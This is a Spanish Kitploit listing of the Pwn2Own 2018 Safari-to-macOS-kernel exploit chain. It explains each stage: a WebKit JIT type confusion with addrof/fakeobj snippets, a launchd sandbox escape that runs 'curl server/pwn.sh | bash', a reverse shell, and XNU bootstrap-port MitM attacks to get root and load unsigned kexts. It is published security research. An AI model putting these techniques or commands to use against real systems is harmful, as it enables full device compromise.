Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn2own2018 — Una cadena de exploits de Pwn2Own | Kitploit
Herramientas/GitHubGitHub/saelo/pwn2own2018
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubsaelo/pwn2own2018

pwn2own2018

Una cadena de exploits de Pwn2Own

Ver Repositorio
759112hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pwn2Own 2018: Safari + macOS

RCE en Safari, escape de sandbox y LPE a kernel para macOS 10.13.3.

Uso

Instala nasm y tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

Revisa config.py si quieres cambiar el host o los puertos. Después inicia el servidor con ./server.py y navega a la URL mostrada.

Resumen

Esta cadena de exploits utiliza tres fallos diferentes para pasar de código JavaScript ejecutándose dentro de Safari a ejecución de código en modo kernel:

  1. Una optimización incorrecta en el compilador JIT DFG que puede usarse para provocar una confusión de tipos
  2. Comprobaciones de sandbox ausentes en launchd, que permiten a procesos sandboxeados lanzar procesos arbitrarios (sin sandbox)
  3. Un fallo lógico en XNU, que permite a un proceso sobrescribir el puerto bootstrap de sus procesos hijo, lo que conduce a una situación de MitM en IPC

La cadena de exploits está implementada en seis etapas, cada una en su propio subdirectorio:

  • stage0/: el exploit de WebKit
  • stage1/: el payload de la primera etapa escrito en ensamblador
  • stage2/: el payload de la segunda etapa para realizar el escape de sandbox
  • stage3/: scripts de shell para coordinar las etapas restantes
  • stage4/: un LPE para obtener root
  • stage5/: un LPE para obtener ejecución de código en kernel
  • libspc/: reimplementación del protocolo XPC, utilizado por las etapas 2, 4 y 5

Cada subdirectorio (con la excepción de libspc/) contiene un archivo llamado make.py que, al ejecutarse, realiza cualquier tipo de comando de compilación necesario y crea una lista de archivos que el servidor web debe servir.

Etapa 0

Objetivo: lograr la ejecución de shellcode dentro del proceso WebContent con sandbox
Fallos explotados: optimización incorrecta en el compilador JIT DFG
Ver también esta charla de BlackHat

El compilador JIT DFG representa el código JavaScript en su propia representación intermedia (IR), el Data Flow Graph (DFG). Normalmente, una expresión de JavaScript se traduce a una o varias instrucciones IR en este grafo. En el caso de una función constructora, se emite la instrucción CreateThis, que es la encargada de asignar el objeto this que construye la función. Como ejemplo, la función function Consructor() {}, cuando se llama con new, se traduciría aproximadamente a

root@kitploit:~
v0 = CreateThis
return v0

Si observamos el AbstractInterpreter, podemos ver que el compilador JIT DFG asume que la operación CreateThis no provocará ningún efecto secundario aparte de una asignación en el heap. De hecho, este código:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

se traduciría aproximadamente a las siguientes instrucciones DFG: (Aquí, el StructureCheck fue movido al principio de la función por la TypeCheckHoistingPhase).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Sin embargo, esa suposición no es válida, ya que el código de la ruta lenta de CreateThis puede ejecutar código JavaScript arbitrario en algunos casos. En particular, al usar un Proxy alrededor de la función real, el trap get para la propiedad "prototype" se invocará durante el manejador de la ruta lenta de CreateThis, ya que necesita obtener el objeto prototipo para el objeto construido:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* ejecutar JS aquí, modificar la estructura del objeto argumento, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Forzar la compilación JIT de ConstructorProxy

Por lo tanto, ahora es posible modificar la Structure de un objeto sin que el compilador JIT realice un bailout.

Este fallo puede utilizarse para construir las primitivas addrof y fakeobj de la siguiente manera:

addrof

Compilamos el código para el caso de un JSArray con elementos double sin empaquetar; luego, en el callback, realizamos la transición a elementos JSValue. Después, el código JIT cargará un JSValue del array, pero tratará esos bits como un double y nos los devolverá. El siguiente código asignará la dirección de leakme a la propiedad "address" del objeto construido.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Aquí esencialmente lo hacemos al revés: optimizamos el código para almacenar un double en un array con elementos double sin empaquetar y, de nuevo, hacemos la transición a elementos JSValue en el callback. El código continuará escribiendo nuestro double controlado en forma sin empaquetar en el almacenamiento subyacente. Cuando después accedamos a ese elemento del array, tratará esos bits como un JSValue en lugar de un double. El siguiente código escribirá el double sin empaquetar address en el búfer subyacente de a, que luego podemos leer como JSValue, lo que nos permite "inyectar" JSValues de nuestra elección en el motor.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

De este modo, terminamos con la capacidad de escribir un double y tratarlo como un puntero a JSObject, y viceversa. Esto puede explotarse como se describe en attacking javascript engines.

El exploit primero consigue lectura/escritura de memoria arbitraria del proceso falsificando un Float64Array, luego busca la región JIT (mapeada RWX) y escribe el shellcode de la etapa 1 allí.

Etapa 1

Objetivo: arrancar la etapa 2 escribiendo un .dylib en disco y cargándolo mediante dlopen()

Un payload corto en ensamblador que esencialmente hace lo siguiente:

  1. Llama a confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obtener una ruta a un directorio escribible
  2. Crea un nuevo archivo llamado 'x.dylib' en el directorio escribible
  3. Escribe el dylib de la etapa 2 en el archivo recién creado
  4. Carga el dylib en el proceso WebContent mediante dlopen()

Etapa 2

Objetivo: salir de la sandbox
Fallo explotado: comprobaciones de sandbox ausentes en la API "legacy_spawn" de launchd
Ver también esta charla

Launchd expone el endpoint RPC "legacy_spawn" como rutina 817 en el subsistema 3. Esta API no valida si al invocador se le debería permitir lanzar procesos y simplemente ejecutará con execve cualquier binario del sistema para el invocador con argumentos controlados. Dado que launchd es alcanzable a través del puerto bootstrap, esto hace posible escapar de la sandbox.

El exploit esencialmente ejecuta curl server/pwn.sh | bash y así pasa el control a la etapa 3.

Etapa 3

Objetivo: abrir la calculadora y arrancar las etapas restantes

Esto ejecuta open /Applications/Calculator.app y establece una reverse shell; después obtiene todos los archivos necesarios para las etapas restantes y ejecuta los exploits.

Etapa 4

Objetivo: obtener root mediante un exploit LPE
Fallo explotado: MitM en el puerto bootstrap de XNU
Ver también esta charla POC

En XNU, la API task_set_special_port permite a los invocadores sobrescribir su puerto bootstrap, que se usa para comunicarse con launchd. Este puerto se hereda a través de los forks: los procesos hijo usarán el mismo puerto bootstrap que el padre. Ahora surge un problema de seguridad si el proceso hijo tiene más privilegios que el padre, como es el caso, por ejemplo, de sudo (un binario setuid) o kextutil (que tiene la entitlement "com.apple.rootless.kext-management"). Al sobrescribir el puerto bootstrap y hacer fork de un proceso hijo, ahora podemos obtener una posición de MitM entre nuestro hijo y launchd (al cual nuestro hijo espera llegar cuando envía mensajes al puerto bootstrap). El proceso hijo le pedirá a launchd que resuelva varios servicios mach y XPC. Al resolver estos servicios a otros puertos controlados por nosotros, también podemos obtener una posición de MitM con servicios arbitrarios del sistema usados por nuestro proceso hijo. La explotación depende entonces de cómo use esos servicios el programa atacado.

Para obtener root, apuntamos al binario sudo e interceptamos su comunicación con opendirectoryd, que es usado por sudo para verificar credenciales. Modificamos las respuestas de opendirectoryd para que parezca que nuestra contraseña era válida.

Parece que hubo un intento de solucionar este problema, ya que libxpc (que realiza la comunicación con launchd) verifica que las respuestas provienen efectivamente de un proceso con uid=0 y pid=1 (== launchd). Sin embargo, estas comprobaciones son insuficientes. Podemos omitirlas de la siguiente manera para resolver opendirectoryd a nuestro propio puerto:

  1. Registrar nuestro propio servicio mach (p. ej. net.saelo.hax) con launchd usando la API bootstrap_register2
  2. Interceptar la solicitud de búsqueda de servicio a launchd y reemplazar la cadena com.apple.system.opendirectoryd.api por net.saelo.hax
  3. Reenviar la solicitud a launchd, pero dejar el puerto de respuesta original en su lugar, para que launchd responda directamente al proceso hijo y las comprobaciones de libxpc en nuestro hijo tengan éxito

Todo lo que queda ahora (para una escalada de privilegios a root) es reenviar los mensajes entre opendirectoryd y sudo, pero reemplazar la respuesta de error de autenticación por una respuesta de éxito.

Etapa 5

Objetivo: cargar una extensión de kernel (autofirmada)
Fallo explotado: MitM en el puerto bootstrap de XNU

Esto explota el mismo fallo que la etapa 4, pero esta vez apuntando a kextutil. Interceptamos la conexión a com.apple.trustd y falsificamos la cadena de certificados, haciendo que kextutil piense que nuestro kext autofirmado está realmente firmado directamente por Apple.

kextutil procede aproximadamente de la siguiente manera cuando se le pide cargar un .kext desde disco:

  1. Verifica la integridad del .kext comprobando todas las firmas contra el certificado proporcionado
  2. Se comunica con trustd para obtener la cadena de certificados y establecer si el certificado raíz es de confianza
  3. Verifica que la raíz de la cadena de certificados sea un certificado de Apple
  4. Comprueba si el .kext está aprobado por el usuario hablando con syspolicyd. Sin embargo, si no se puede alcanzar syspolicyd, kextutil simplemente continúa

Esto permite el siguiente ataque para cargar extensiones de kernel autofirmadas:

  1. Crear un .kext y firmarlo con un certificado autofirmado
  2. Ejecutar kextutil y resolver com.apple.trustd a nuestro propio servicio
  3. Interceptar los mensajes a trustd y responder con una cadena de certificados fija de un .kext oficial de Apple
  4. Bloquear la comunicación con syspolicyd (p. ej. reemplazando com.apple.security.syspolicy.kext por net.saelo.lolno en las solicitudes de búsqueda de servicios a launchd)

kextutil cargará entonces nuestra extensión de kernel en el kernel.

Descargar herramienta